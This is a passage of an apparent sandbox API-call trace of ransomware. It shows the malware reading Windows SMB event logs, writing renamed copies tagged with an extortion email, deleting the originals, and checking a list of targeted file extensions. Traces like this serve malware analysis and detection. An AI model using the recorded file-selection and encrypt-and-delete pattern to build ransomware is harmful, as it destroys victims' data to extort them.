(lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0064.640] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0064.641] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0064.641] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0064.641] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0064.641] GetLastError () returned 0x0 [0064.641] ReadFile (in: hFile=0x370, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x11000, lpOverlapped=0x0) returned 1 [0064.643] WriteFile (in: hFile=0x36c, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0x11010, lpOverlapped=0x0) returned 1 [0064.645] ReadFile (in: hFile=0x370, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0064.645] WriteFile (in: hFile=0x36c, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0x130, lpOverlapped=0x0) returned 1 [0064.645] SetEndOfFile (hFile=0x36c) returned 1 [0064.646] CloseHandle (hObject=0x36c) returned 1 [0064.648] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0064.648] SetEndOfFile (hFile=0x370) returned 1 [0064.649] CloseHandle (hObject=0x370) returned 1 [0064.649] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0064.650] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx")) returned 1 [0064.650] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0064.650] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0064.650] lstrlenW (lpString=".doc") returned 4 [0064.650] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0064.650] lstrlenW (lpString=".docx") returned 5 [0064.650] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0064.650] lstrlenW (lpString=".pdf") returned 4 [0064.650] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0064.650] lstrlenW (lpString=".xls") returned 4 [0064.650] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0064.650] lstrlenW (lpString=".xlsx") returned 5 [0064.650] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0064.650] lstrlenW (lpString=".ppt") returned 4 [0064.650] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0064.650] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0064.650] lstrlenW (lpString=".zip") returned 4 [0064.650] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0064.650] lstrlenW (lpString=".rar") returned 4 [0064.650] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0064.650] lstrlenW (lpString=".bz2") returned 4 [0064.650] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0064.650] lstrlenW (lpString=".7z") returned 3 [0064.651] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0064.651] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0064.651] lstrlenW (lpString=".dbf") returned 4 [0064.651] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0064.651] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0064.651] lstrlenW (lpString=".1cd") returned 4 [0064.651] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0064.651] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0064.651] lstrlenW (lpString=".jpg") returned 4 [0064.651] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0064.651] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0064.651] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0064.651] lstrlenW (lpString=".doc") returned 4 [0064.651] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0064.651] lstrlenW (lpString=".docx") returned 5 [0064.651] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0064.651] lstrlenW (lpString=".pdf") returned 4 [0064.651] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0064.651] lstrlenW (lpString=".xls") returned 4 [0064.651] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0064.651] lstrlenW (lpString=".xlsx") returned 5 [0064.651] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0064.651] lstrlenW (lpString=".ppt") returned 4 [0064.651] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0064.651] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0064.651] lstrlenW (lpString=".zip") returned 4 [0064.651] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0064.651] lstrlenW (lpString=".rar") returned 4 [0064.651] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0064.651] lstrlenW (lpString=".bz2") returned 4 [0064.651] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0064.651] lstrlenW (lpString=".7z") returned 3 [0064.651] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0064.652] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0064.652] lstrlenW (lpString=".dbf") returned 4 [0064.652] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0064.652] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0064.652] lstrlenW (lpString=".1cd") returned 4 [0064.652] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0064.652] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0064.652] lstrlenW (lpString=".jpg") returned 4 [0064.652] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0064.652] lstrcmpiW (lpString1=".evtx", lpString2=".save") returned -1 [0064.652] lstrlenW (lpString="Microsoft-Windows-SMBClient%4Operational.evtx") returned 45 [0064.652] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0064.652] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=69632) returned 1 [0064.652] CloseHandle (hObject=0x370) returned 1 [0064.652] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx")) returned 0x20 [0064.653] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0064.653] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0064.653] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0064.653] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0064.653] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0064.653] GetLastError () returned 0x0 [0064.653] ReadFile (in: hFile=0x370, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x11000, lpOverlapped=0x0) returned 1 [0064.657] WriteFile (in: hFile=0x36c, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0x11010, lpOverlapped=0x0) returned 1 [0064.659] ReadFile (in: hFile=0x370, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0064.659] WriteFile (in: hFile=0x36c, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0x12e, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0x12e, lpOverlapped=0x0) returned 1 [0064.659] SetEndOfFile (hFile=0x36c) returned 1 [0064.659] CloseHandle (hObject=0x36c) returned 1 [0064.661] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0064.661] SetEndOfFile (hFile=0x370) returned 1 [0064.663] CloseHandle (hObject=0x370) returned 1 [0064.663] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0064.663] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx")) returned 1 [0064.663] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0064.663] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0064.663] lstrlenW (lpString=".doc") returned 4 [0064.663] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0064.663] lstrlenW (lpString=".docx") returned 5 [0064.663] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0064.663] lstrlenW (lpString=".pdf") returned 4 [0064.664] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0064.664] lstrlenW (lpString=".xls") returned 4 [0064.664] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0064.664] lstrlenW (lpString=".xlsx") returned 5 [0064.664] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0064.664] lstrlenW (lpString=".ppt") returned 4 [0064.664] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0064.664] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0064.664] lstrlenW (lpString=".zip") returned 4 [0064.664] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0064.664] lstrlenW (lpString=".rar") returned 4 [0064.664] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0064.664] lstrlenW (lpString=".bz2") returned 4 [0064.664] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0064.664] lstrlenW (lpString=".7z") returned 3 [0064.664] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0064.664] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0064.664] lstrlenW (lpString=".dbf") returned 4 [0064.664] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0064.664] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0064.664] lstrlenW (lpString=".1cd") returned 4 [0064.664] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0064.664] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0064.664] lstrlenW (lpString=".jpg") returned 4 [0064.664] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0064.664] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0064.664] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0064.664] lstrlenW (lpString=".doc") returned 4 [0064.664] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0064.664] lstrlenW (lpString=".docx") returned 5 [0064.664] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0064.664] lstrlenW (lpString=".pdf") returned 4 [0064.664] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0064.665] lstrlenW (lpString=".xls") returned 4 [0064.665] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0064.665] lstrlenW (lpString=".xlsx") returned 5 [0064.665] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0064.665] lstrlenW (lpString=".ppt") returned 4 [0064.665] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0064.665] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0064.665] lstrlenW (lpString=".zip") returned 4 [0064.665] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0064.665] lstrlenW (lpString=".rar") returned 4 [0064.665] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0064.665] lstrlenW (lpString=".bz2") returned 4 [0064.665] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0064.665] lstrlenW (lpString=".7z") returned 3 [0064.665] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0064.665] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0064.665] lstrlenW (lpString=".dbf") returned 4 [0064.665] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0064.665] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0064.665] lstrlenW (lpString=".1cd") returned 4 [0064.665] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0064.665] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0064.665] lstrlenW (lpString=".jpg") returned 4 [0064.665] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0064.665] lstrcmpiW (lpString1=".evtx", lpString2=".save") returned -1 [0064.665] lstrlenW (lpString="Microsoft-Windows-SmbClient%4Security.evtx") returned 42 [0064.665] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0065.159] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=69632) returned 1 [0065.159] CloseHandle (hObject=0x34c) returned 1 [0065.159] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx")) returned 0x20 [0065.160] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0065.160] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0065.160] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0065.160] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0065.160] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0065.160] GetLastError () returned 0x0 [0065.160] ReadFile (in: hFile=0x34c, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x11000, lpOverlapped=0x0) returned 1 [0065.163] WriteFile (in: hFile=0x38c, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0x11010, lpOverlapped=0x0) returned 1 [0065.165] ReadFile (in: hFile=0x34c, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0065.165] WriteFile (in: hFile=0x38c, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0x128, lpOverlapped=0x0) returned 1 [0065.165] SetEndOfFile (hFile=0x38c) returned 1 [0065.165] CloseHandle (hObject=0x38c) returned 1 [0065.168] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0065.168] SetEndOfFile (hFile=0x34c) returned 1 [0065.169] CloseHandle (hObject=0x34c) returned 1 [0065.169] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0065.169] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx")) returned 1 [0065.169] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0065.169] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0065.169] lstrlenW (lpString=".doc") returned 4 [0065.169] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0065.169] lstrlenW (lpString=".docx") returned 5 [0065.169] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0065.170] lstrlenW (lpString=".pdf") returned 4 [0065.170] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0065.170] lstrlenW (lpString=".xls") returned 4 [0065.170] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0065.170] lstrlenW (lpString=".xlsx") returned 5 [0065.170] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0065.170] lstrlenW (lpString=".ppt") returned 4 [0065.170] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0065.170] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0065.170] lstrlenW (lpString=".zip") returned 4 [0065.170] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0065.170] lstrlenW (lpString=".rar") returned 4 [0065.170] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0065.170] lstrlenW (lpString=".bz2") returned 4 [0065.170] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0065.170] lstrlenW (lpString=".7z") returned 3 [0065.170] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0065.170] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0065.170] lstrlenW (lpString=".dbf") returned 4 [0065.170] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0065.170] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0065.170] lstrlenW (lpString=".1cd") returned 4 [0065.170] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0065.170] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0065.170] lstrlenW (lpString=".jpg") returned 4 [0065.170] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0065.170] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0065.170] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0065.170] lstrlenW (lpString=".doc") returned 4 [0065.170] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0065.170] lstrlenW (lpString=".docx") returned 5 [0065.170] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0065.170] lstrlenW (lpString=".pdf") returned 4 [0065.170] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0065.171] lstrlenW (lpString=".xls") returned 4 [0065.171] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0065.171] lstrlenW (lpString=".xlsx") returned 5 [0065.171] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0065.171] lstrlenW (lpString=".ppt") returned 4 [0065.171] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0065.171] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0065.171] lstrlenW (lpString=".zip") returned 4 [0065.171] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0065.171] lstrlenW (lpString=".rar") returned 4 [0065.171] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0065.171] lstrlenW (lpString=".bz2") returned 4 [0065.171] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0065.171] lstrlenW (lpString=".7z") returned 3 [0065.171] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0065.172] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0065.172] lstrlenW (lpString=".dbf") returned 4 [0065.172] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0065.172] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0065.172] lstrlenW (lpString=".1cd") returned 4 [0065.172] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0065.172] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0065.172] lstrlenW (lpString=".jpg") returned 4 [0065.172] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0065.172] lstrcmpiW (lpString1=".evtx", lpString2=".save") returned -1 [0065.172] lstrlenW (lpString="Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 46 [0065.172] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0065.173] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=69632) returned 1 [0065.173] CloseHandle (hObject=0x34c) returned 1 [0065.173] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx")) returned 0x20 [0065.173] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0065.173] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0065.173] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0065.173] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0065.173] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0065.173] GetLastError () returned 0x0 [0065.173] ReadFile (in: hFile=0x34c, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x11000, lpOverlapped=0x0) returned 1 [0065.176] WriteFile (in: hFile=0x38c, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0x11010, lpOverlapped=0x0) returned 1 [0065.178] ReadFile (in: hFile=0x34c, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0065.178] WriteFile (in: 